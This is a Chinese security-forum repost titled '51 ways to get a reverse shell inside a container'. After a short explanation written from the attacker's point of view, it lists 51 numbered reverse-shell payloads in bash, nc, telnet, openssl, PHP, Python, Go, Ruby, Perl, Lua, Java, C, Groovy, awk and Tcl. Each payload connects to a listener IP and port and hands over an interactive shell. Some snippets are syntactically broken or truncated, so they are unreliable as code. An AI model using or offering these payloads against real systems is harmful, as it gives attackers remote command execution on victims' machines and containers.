安全矩阵

 找回密码
 立即注册
搜索
查看: 5719|回复: 0

容器内反弹shell的51种姿势

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-11-20 08:14:22 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-11-20 08:27 编辑

原文链接:容器内反弹shell的51种姿势

什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
原生 (以bash为例)
  1. #!/bin/bash
  2. bash -c '...' 2> /dev/null
复制代码

tcp
1.

  1. #!/bin/bash
  2. bash -i >& /dev/tcp/192.168.0.1/65535 0>&1
复制代码
2、
  1. #!/bin/bash
  2. # 使用域名
  3. bash -i >& /dev/tcp/host.domain/65535 0>&1
复制代码
3、
  1. #!/bin/bash
  2. 0<&196;
  3. exec 196<>/dev/tcp/192.168.0.1/65535;
  4. bash <&196 >&196 2>&196
复制代码

udp
4.

  1. #!/bin/bash
  2. bash -i >& /dev/udp/192.168.0.1/65535 0>&1
复制代码
5、
  1. #!/bin/bash
  2. # 使用域名
  3. bash -i >& /dev/udp/host.domain/65535 0>&1
复制代码
6、
  1. #!/bin/bash
  2. 0<&196;
  3. exec 196<>/dev/udp/192.168.0.1/65535;
  4. bash <&196 >&196 2>&196
复制代码

工具类NC
7.

  1. #!/bin/bash
  2. nc -e /bin/bash 192.168.0.1 65535
复制代码

8、

  1. #!/bin/bash
  2. /bin/bash | nc 192.168.0.1 65535
复制代码

9、
  1. #!/bin/bash
  2. nc 192.168.0.1 65535 |/bin/bash
复制代码


10、
  1. #!/bin/bash
  2. rm -f /tmp/p;
  3. mknod /tmp/p p && nc 192.168.0.1 65535 0/tmp/
复制代码


11、
  1. #!/bin/bash
  2. rm /tmp/f;
  3. mkfifo /tmp/f;
  4. cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.1 65535 >/tmp/f
复制代码


NCat
12、
  1. #!/bin/bash
  2. ncat 192.168.1.215 3000 -e /bin/bash
复制代码
Telnet13、
  1. #!/bin/bash
  2. telnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 65535
复制代码

14、
  1. #!/bin/bash
  2. mknod backpipe p && telnet 192.168.0.1 65535 0<backpipe | /bin/bash 1>backpipe
复制代码

OpenSSL
15.

  1. #!/bin/bash
  2. mkfifo /tmp/s;
  3. /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:65535 > /tmp/s; rm /tmp/s
复制代码

cryptcat
16.

  1. #!/bin/bash
  2. cryptcat 192.168.0.1 65534 -k sec|cmd.exe|cryptcat 192.168.0.1 65535 -k sec
复制代码

程序类PHP
  1. php -r "..."
复制代码
17.
  1. <?php
  2. error_reporting (E_ERROR);
  3. ignore_user_abort(true);
  4. ini_set('max_execution_time',0);
  5. $os = substr(PHP_OS,0,3);
  6. $ipaddr = '192.168.0.1';
  7. $port = '65535';
  8. $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
  9. $cwd = getcwd();
  10. $msg = php_uname()
  11. if($os == 'WIN') {
  12.     $env = array('path' => 'c:\\windows\\system32');
  13. } else {
  14.     $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
  15. }

  16. if(function_exists('fsockopen')) {
  17.     $sock = fsockopen($ipaddr,$port);
  18.     fwrite($sock,$msg);
  19.     while ($cmd = fread($sock,1024)) {
  20.         if (substr($cmd,0,3) == 'cd ') {
  21.             $cwd = trim(substr($cmd,3,-1));
  22.             chdir($cwd);
  23.             $cwd = getcwd();
  24.         }
  25.         if (trim(strtolower($cmd)) == 'exit') {
  26.             break;
  27.         } else {
  28.             $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
  29.             if (is_resource($process)) {
  30.                 fwrite($pipes[0],$cmd);
  31.                 fclose($pipes[0]);
  32.                 $msg = stream_get_contents($pipes[1]);
  33.                 fwrite($sock,$msg);
  34.                 fclose($pipes[1]);
  35.                 $msg = stream_get_contents($pipes[2]);
  36.                 fwrite($sock,$msg);
  37.                 fclose($pipes[2]);
  38.                 proc_close($process);
  39.             }
  40.         }
  41.     }
  42.     fclose($sock);
  43. } else {
  44.     $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  45.     socket_connect($sock,$ipaddr,$port);
  46.     socket_write($sock,$msg);
  47.     fwrite($sock,$msg);
  48.     while ($cmd = socket_read($sock,1024)) {
  49.         if (substr($cmd,0,3) == 'cd ') {
  50.             $cwd = trim(substr($cmd,3,-1));
  51.             chdir($cwd);
  52.             $cwd = getcwd();
  53.         }
  54.         if (trim(strtolower($cmd)) == 'exit') {
  55.             break;
  56.         } else {
  57.             $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
  58.             if (is_resource($process)) {
  59.                 fwrite($pipes[0],$cmd);
  60.                 fclose($pipes[0]);
  61.                 $msg = stream_get_contents($pipes[1]);
  62.                 socket_write($sock,$msg,strlen($msg));
  63.                 fclose($pipes[1]);
  64.                 $msg = stream_get_contents($pipes[2]);
  65.                 socket_write($sock,$msg,strlen($msg));
  66.                 fclose($pipes[2]);
  67.                 proc_close($process);
  68.             }
  69.         }
  70.     }
  71.     socket_close($sock);
  72. }
  73. ?>
复制代码
18、
  1. #!/bin/bash
  2. php -r "error_reporting(E_ERROR);ignore_user_abort(true);ini_set('max_execution_time',0);\$os=substr(PHP_OS,0,3);\$ipaddr='192.168.0.1';\$port='65535';\$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));\$cwd=getcwd();\$msg=php_uname()if(\$os=='WIN'){\$env=array('path'=>'c:\\windows\\system32');}else{\$env=array('path'=>'/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}if(function_exists('fsockopen')){\$sock=fsockopen(\$ipaddr,\$port);fwrite(\$sock,\$msg);while(\$cmd=fread(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);fwrite(\$sock,\$msg);fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);fwrite(\$sock,\$msg);fclose(\$pipes[2]);proc_close(\$process);}}}fclose(\$sock);}else{\$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect(\$sock,\$ipaddr,\$port);socket_write(\$sock,\$msg);fwrite(\$sock,\$msg);while(\$cmd=socket_read(\$sock,1024)){if(substr(\$cmd,0,3)=='cd'){\$cwd=trim(substr(\$cmd,3,-1));chdir(\$cwd);\$cwd=getcwd();}if(trim(strtolower(\$cmd))=='exit'){break;}else{\$process=proc_open(\$cmd,\$descriptorspec,\$pipes,\$cwd,\$env);if(is_resource(\$process)){fwrite(\$pipes[0],\$cmd);fclose(\$pipes[0]);\$msg=stream_get_contents(\$pipes[1]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[1]);\$msg=stream_get_contents(\$pipes[2]);socket_write(\$sock,\$msg,strlen(\$msg));fclose(\$pipes[2]);proc_close(\$process);}}}socket_close(\$sock);}"
复制代码
19.
  1. <?php
  2. $sock=fsockopen("192.168.0.1",65535);
  3. exec("/bin/bash -i <&3 >&3 2>&3");
  4. ?>
复制代码
20.
  1. #!/bin/bash
  2. php -r "\$sock=fsockopen("192.168.0.1",65535);exec("/bin/bash -i <&3 >&3 2>&3");"
复制代码
21、
  1. <?php
  2. exec("/bin/bash -i >& /dev/tcp/192.168.0.1/65535");
  3. ?>
复制代码


22、
  1. #!/bin/bash
  2. php -r "exec("/bin/bash -i >& /dev/tcp/192.168.0.1/65535");"
复制代码
Python
  1. #!bin/bash
  2. python -c "..."
复制代码



23、
  1. #!/usr/bin/python
  2. import socket,subprocess,os
  3. s=socket.socket()
  4. s.connect(("192.168.0.1",65535))
  5. os.dup2(s.fileno(),0)
  6. os.dup2(s.fileno(),1)
  7. os.dup2(s.fileno(),2)
  8. p=subprocess.call(["/bin/bash","-i"])
复制代码


24、
  1. #!/bin/bash
  2. python -c "import socket,subprocess,os;s=socket.socket();s.connect(("192.168.0.1",65535));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])"
复制代码

25、
  1. #!usr/bin/python
  2. import sys,socket,os,pty;
  3. s=socket.socket()
  4. s.connect(("192.168.0.1",65535))
  5. for fd in (0,1,2):
  6.     os.dup2(s.fileno(),fd)
  7. pty.spawn("/bin/bash")
复制代码


26、
  1. #!/bin/bash
  2. python -c "import sys,socket,os,pty;s=socket.socket();s.connect(("192.168.0.1",65535));for fd in (0,1,2):os.dup2(s.fileno(),fd);pty.spawn("/bin/bash");"
复制代码


27、
  1. #!/usr/bin/python
  2. import socket, subprocess
  3. s = socket.socket()
  4. s.connect(('192.168.0.1',65535))
  5. while 1:  
  6.     proc = subprocess.Popen(s.recv(1024),\
  7.                             shell=True,\
  8.                             stdout=subprocess.PIPE,\
  9.                             stderr=subprocess.PIPE,\
  10.                             stdin=subprocess.PIPE\
  11.                             )
  12.     s.send(proc.stdout.read()+proc.stderr.read())
复制代码


28、
  1. #!/usr/bin/python
  2. import os
  3. os.system('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
复制代码

GoLang
  1. echo '...' > /tmp/t.go
复制代码



29、
  1. package main;
  2. import"os/exec";
  3. import"net";
  4. func main(){
  5.     c,_:=net.Dial("tcp","192.168.0.1:65535");
  6.     cmd:=exec.Command("/bin/bash");
  7.     cmd.Stdin=c;
  8.     cmd.Stdout=c;
  9.     cmd.Stderr=c;
  10.     cmd.Run()}
复制代码


30、
  1. package main
  2. import(
  3.     "log"
  4.     "os/exec"
  5. )
  6. func main() {
  7.     cmdline := "exec 5<>/dev/tcp/192.168.0.1/65535;cat <&5 | while read line; do $line 2>&5 >&5; done"
  8.     cmd := exec.Command("/bin/bash", "-c", cmdline)
  9.     bytes, err := cmd.Output()
  10.     if err != nil {
  11.         log.Println(err)
  12.     }
  13.     resp := string(bytes)
  14.     log.Println(resp)
  15. }
复制代码


31、
  1. package main
  2. import (
  3.     os/exec
  4. )
  5. func main(){
  6.     cmdline := "bash -i >& /dev/tcp/192.168.0.1/65535 0>&1"
  7.     cmd := exec.Command("/bin/bash", "-c", cmdline)
复制代码


32、
  1. #!/bin/bash
  2. echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.215:3000");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
复制代码

Ruby
  1. ruby -rsocket -e '...'
复制代码



33、
  1. #!/usr/bin/ruby
  2. require 'socket'
  3. require 'open3'
  4. #Set the Remote Host IP
  5. RHOST = "192.168.0.1"
  6. #Set the Remote Host Port
  7. PORT = "65535"
  8. #Tries to connect every 20 sec until it connects.
  9. begin
  10. sock = TCPSocket.new "#{RHOST}", "#{PORT}"
  11. sock.puts "We are connected!"
  12. rescue
  13. sleep 20
  14. retry
  15. end
  16. #Runs the commands you type and sends you back the stdout and stderr.
  17. begin
  18. while line = sock.gets
  19. Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
  20. IO.copy_stream(stdout_and_stderr, sock)
  21. end

  22. end
  23. rescue
  24. retry
  25. end
复制代码
34、
  1. #!/usr/bin/ruby
  2. exit if fork;c=TCPSocket.new("192.168.0.1","65535");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
复制代码


35、
  1. #!/usr/bin/ruby
  2. exec 'bash -i >& /dev/tcp/192.168.0.1/65535 0>&1'
复制代码
36、
  1. #!/bin/bash
  2. ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.215","3000");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
复制代码

Perl
  1. #!/bin/bash
  2. perl -e '...'
  3. perl -MIO -e '...'
复制代码


37、
  1. #!/usr/bin/perl
  2. use Socket;
  3. $i="192.168.0.1";
  4. $p=65535;
  5. socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  6. if(connect(S,sockaddr_in($p,inet_aton($i))))
  7. {
  8.     open(STDIN,">&S");
  9.     open(STDOUT,">&S");
  10.     open(STDERR,">&S");
  11.     exec("/bin/bash -i");
  12. };
复制代码


38、
  1. #!/usr/bin/perl
  2. $p=fork;
  3. exit,if($p);
  4. $c=new IO::Socket::INET(PeerAddr,"192.168.0.1:65535");
  5. STDIN->fdopen($c,r);
  6. $~->fdopen($c,w);
  7. system$_ while<>;
复制代码


39、
  1. #!/usr/bin/perl
  2. exec('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
复制代码

40、
  1. #!/bin/bash
  2. perl -e 'use Socket;$i="192.168.1.215";$p=3000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制代码

41、
  1. #!/bin/bash
  2. perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.215:3000");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
复制代码

Lua
  1. lua -e '...'
复制代码



42、
  1. #!/usr/bin/lua
  2. local host, port = "192.168.0.1", 65535
  3. local socket = require("socket")
  4. local tcp = socket.tcp()
  5. local io = require("io")
  6. tcp:connect(host, port);
  7. while true
  8.     do local cmd, status, partial = tcp:receive()
  9.     local f = io.popen(cmd, "r")
  10.     local s = f:read("*a")
  11.     f:close()
  12.     tcp:send(s)
  13.     if status == "closed"
  14.         then break
  15.         end
  16.     end
  17. tcp:close()
复制代码


43、
  1. #!/usr/bin/lua
  2. local socket=require('socket');
  3. require('os');
  4. t=socket.tcp();
  5. t:connect('192.168.0.1','65535');
  6. os.execute('/bin/bash -i <&3>&3 2>&3')
复制代码


44、
  1. local io = require('io')
  2. io.popen('bash -i >& /dev/tcp/192.168.0.1/65535 0>&1')
复制代码

45、
  1. #!/bin/bash
  2. lua -e "local socket=require('socket');require('os');t=socket.tcp();t:connect('192.168.1.215','3000');os.execute('/bin/sh -i <&3>&3 2>&3');"
复制代码

Java
  1. echo '...' > /tmp/t.java
复制代码

46、
  1. public classRevs{
  2.     /**
  3.     * @param args
  4.     * @throws Exception
  5.     */
  6.     publicstaticvoidmain(String[] args) throws Exception {
  7.         // TODO Auto-generated method stub
  8.         Runtime r = Runtime.getRuntime();
  9.         String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.1/65535;cat <&5 | while read line; do $line 2>&5 >&5; done"};
  10.         Process p = r.exec(cmd);
  11.         p.waitFor();
  12.     }
  13. }
复制代码
C
  1. echo '...' > /tmp/t.c
复制代码


47、
  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <netinet/in.h>
  7. #include <stdio.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <unistd.h>
  11. #include <fcntl.h>
  12. #include <netinet/in.h>
  13. #include <netdb.h>
  14. voidusage();
  15. char shell[]="/bin/bash";
  16. char message[]="hacker welcome\n";
  17. int sock;
  18. intmain(int argc, char *argv[]) {
  19.     if(argc <3){
  20.     usage(argv[0]);
  21.     }

  22.     struct sockaddr_in server;
  23.     if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  24.     printf("Couldn't make socket!n"); exit(-1);
  25.     }

  26.     server.sin_family = AF_INET;
  27.     server.sin_port = htons(65535);
  28.     server.sin_addr.s_addr = inet_addr("192.168.0.1");

  29.     if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
  30.     printf("Could not connect to remote shell!n");
  31.     exit(-1);
  32.     }
  33.     send(sock, message, sizeof(message), 0);
  34.     dup2(sock, 0);
  35.     dup2(sock, 1);
  36.     dup2(sock, 2);
  37.     execl(shell,"/bin/bash",(char *)0);
  38.     close(sock);
  39.     return 1;
  40.     }
  41.     voidusage(char *prog[]) {
  42.     printf("Usage: %s <reflect ip> <port>n", prog);
  43.     exit(-1);
  44.     }
复制代码

48、
  1. #include <stdlib.h>
  2.     intmain(int argc, char *argv[]){
  3.     system(“bash -i >& /dev/tcp/192.168.0.1/65535 0>&1”);
  4.     return 0;
  5. }
复制代码

Groovy
  1. echo '...' > /tmp/t
复制代码


49、
  1. classReverseShell{
  2. static void main(String[] args) {
  3.         String host="192.168.0.1";
  4.         int port=65535;
  5.         String cmd="/bin/bash";
  6.         Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
  7.         Socket s=new Socket(host,port);
  8.         InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
  9.         OutputStream po=p.getOutputStream(),so=s.getOutputStream();
  10.         while(!s.isClosed()){
  11.             while(pi.available()>0)
  12.                 so.write(pi.read());
  13.             while(pe.available()>0)
  14.                 so.write(pe.read());
  15.             while(si.available()>0)
  16.                 po.write(si.read());
  17.             so.flush();
  18.             po.flush();
  19.             Thread.sleep(50);
  20.             try {
  21.                 p.exitValue();
  22.                 break;
  23.                 }
  24.                 catch (Exception e){}
  25.             };
  26.             p.destroy();
  27.             s.close();
  28.     }
  29. }
复制代码

awk/gawk
  1. #!/bin/bash
  2. awk "..."
  3. #gawk "..."
复制代码



50、
  1. BEGIN{
  2.     s="/inet/tcp/0/192.168.0.1/65535";
  3.     while(1){
  4.         do{
  5.             s|&getline c;
  6.             if(c){
  7.                 while((c|&getline)>0)
  8.                     print $0|&s;
  9.                     close(c)
  10.             }
  11.         }
  12.         while(c!="exit");
  13.         close(s)
  14.     }
  15. }
复制代码

TCL脚本
  1. echo '...' |tclsh
复制代码



51、
  1. set s [socket 192.168.0.1 65535];
  2. while 42 {
  3.     puts -nonewline $s "shell>";
  4.     flush $s;
  5.     gets $s c;
  6.     set e "exec $c";
  7.     if {![catch {set r [eval $e]} err]} {
  8.         puts $s $r
  9.         };
  10.         flush $s;
  11.     };
  12.     close $s;
复制代码



























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 23:18 , Processed in 0.024484 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表